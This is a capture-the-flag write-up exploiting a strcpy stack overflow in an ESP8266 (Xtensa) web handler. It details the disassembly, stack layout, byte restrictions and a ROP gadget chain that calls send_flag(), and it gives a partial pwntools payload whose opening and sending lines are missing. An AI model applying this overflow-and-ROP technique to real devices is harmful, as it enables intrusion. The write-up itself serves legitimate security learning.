Rating:

We are given the source code of some IoT device, the "redacted" compiled binary and the site that is supposedly related to the device.
The "redacted" binary has values of WEBSITE_HTML, PASSWORD (which is "thatturnsmeon", by the way) and ssid ("wpictfpinet"),
but the flag is replaced by "WPI{XXXXXXXXXXXXXXXXXX}". The content of the site matches WEBSITE_HTML,
but HTTP headers reveal nginx as a proxy.
shows the device itself, which is fun but not really useful for the solution.

The vulnerability is in handle_request(), for http://<site>/check_password?password=XXX
it strcpy-s XXX into a fixed-size buffer char password[32].
XXX is selected by a bunch of strtok()s, which means that some characters are forbidden:
no zero characters (handle_request() operates with C strings), no '\n' and '\r' and no space (HTTP stuff),
and no '?' and '='. We also have a convenient function send_flag() that, unsurprisingly, sends the flag
to the client identified by its only parameter; it is supposed to be a separate response,
but the code does not set Content-Length header, so if we manage to direct the control flow to send_flag()
after handle_request() has finished, the second response will be interpreted as a continuation of data,
so we will see the flag. send_flag() is never called but referenced by the address.

Now it's time to investigate the compiled binary more closely. file challenge.ino.elf_redacted says
ELF 32-bit LSB executable, Tensilica Xtensa, version 1 (SYSV), statically linked, with debug_info, not stripped.
Xtensa isn't exactly the most-studied architecture, but [https://github.com/BlackVS/ESP32-reversing](https://github.com/BlackVS/ESP32-reversing) has some useful links,
including the instruction set reference and IDA processor plugin. So we don't need to decode bits manually, but still,
no automatic ROP finder or anything.

The vulnerable part in the disassembly:

.irom0.text:40201DE7 call0 strtok
.irom0.text:40201DEA mov.n a3, a2
.irom0.text:40201DEC beqz a2, loc_40201D42
.irom0.text:40201DEF mov.n a2, a1
.irom0.text:40201DF1 call0 strcpy
.irom0.text:40201DF4 movi.n a2, 0
.irom0.text:40201DF6 s8i a2, a1, 0x1F
.irom0.text:40201DF9 mov.n a2, a1
.irom0.text:40201DFE mov.n a3, a2
.irom0.text:40201E00 mov.n a2, a13
.irom0.text:40201E02 j loc_40201E18
...
.irom0.text:40201E18 loc_40201E18: ; CODE XREF: handle_request(WiFiClient &,char *)+DA↑j
.irom0.text:40201E18 call0 _Z21send_message_responseR10WiFiClientPc ; send_message_response(WiFiClient &,char *)
.irom0.text:40201E1B j loc_40201E2C
...
.irom0.text:40201E2C loc_40201E2C: ; CODE XREF: handle_request(WiFiClient &,char *)+81↑j
.irom0.text:40201E2C ; handle_request(WiFiClient &,char *)+F3↑j
.irom0.text:40201E2C l32i.n a0, a1, 0x2C
.irom0.text:40201E2E l32i.n a12, a1, 0x28
.irom0.text:40201E30 l32i.n a13, a1, 0x24
.irom0.text:40201E32 l32i.n a14, a1, 0x20
.irom0.text:40201E37 ret.n

.n suffix is for "narrow" (2-bytes vs 3-bytes encoding) and apparently can be simply ignored while reverse-engineering.
a1 is the stack pointer, ret jumps to a0, a2 holds the first argument when entering a function
and the return value when exiting. During handle_request(), password (the only local variable) is at the top of the stack,
then saved values of a14 ([a1+0x20]), a13 ([a1+0x24]), a12 ([a1+0x28]) and the return address ([a1+0x2C]) follow.

Note: it seems that Xtensa supports a feature like [https://en.wikipedia.org/wiki/Register_window](https://en.wikipedia.org/wiki/Register_window) , when there are no explicit save/load commands
at the entry/exit of all functions, instead save/load occurs in bulk when the corresponding buffer overflows;
searching the net for xtensa pwn will likely direct to discussions about how to defeat this feature;
however, it is disabled here, no need to worry about it.

So we want to make a call to send_flag() at 0x40201A90 while setting a2 to the address of client. handle_request()
takes this address in a2 that is long gone at the point where we can change the control flow; the caller handle_connection()
keeps it in a12 that we are going to rewrite with buffer overflow and can not read; so we should get it as a stack address
of a local variable inside loop(), after return from handle_request() it will be at a1+0x30 (handle_connection() uses
0x30 bytes of stack space). Also, 0x40201A90 when interpreted as a byte sequence contains a space,
so we can not use this address in our payload directly. Actually, the same holds for any 0x4020xxxx address, so a large part
of the code is excluded from possible ROP gadgets.

ROP gadgets can be of two types, ending with ret and ending with an indirect call/jump.
It is easy to find a gadget of the first type that adjusts the stack to the given amount and possibly
restores non-volatile registers a12..a15 with constant values from the payload; however, it seems unlikely to obtain a stack address
in this way (returning address of a local variable is almost always a bug). Searching for the instruction for indirect calls callx0,
after a while we can find the following gadget:

.irom0.text:40221CCC l32r a5, off_40221C04 ; .int unk_3FFEE7E0
.irom0.text:40221CD2 l32i.n a5, a5, 0
.irom0.text:40221CD4 beqz.n a5, loc_40221CE5
.irom0.text:40221CD6 mov.n a3, a14
.irom0.text:40221CD8 l8ui a4, a14, 1
.irom0.text:40221CDB mov.n a2, a1
.irom0.text:40221CDF extui a4, a4, 0, 8
.irom0.text:40221CE2 callx0 a5

This gadget fetches a function address from [0x3FFEE7E0+a13*4] into a5 and calls it with a2 = a1 (and some manipulations
with a3 and a4 that are not important for us, except that we should make a14 a readable address). This solves both problems,
how to load a stack address into a2 and how to encode the address of send_flag() in the payload without spaces; dword at 0x40201EF8
(referenced from setup()) contains 0x40201A90, so it is sufficient to make 0x3FFEE7E0+a13*4 == 0x40201EF8. Arithmetically
it means 0x84DC6 for a13, but we must avoid zero bytes, so we'll use 0x80084DC6 instead. It remains to adjust the stack by another gadget:

from pwn import *
context.log_level = 'debug'
+ p32(0x44444444) # a14
+ p32(0x80084DC6) # a13
+ p32(0x45454545) # a12
+ p32(0x40221CEF) # a0: l32i a0,a1,0xC / addi a1,a1,0x30 / ret.n
+ b'B' * 0xC
+ p32(0x40221CCC))
assert b' ' not in payload

and take the flag WPI{iotisbaddontuseiot} from the output.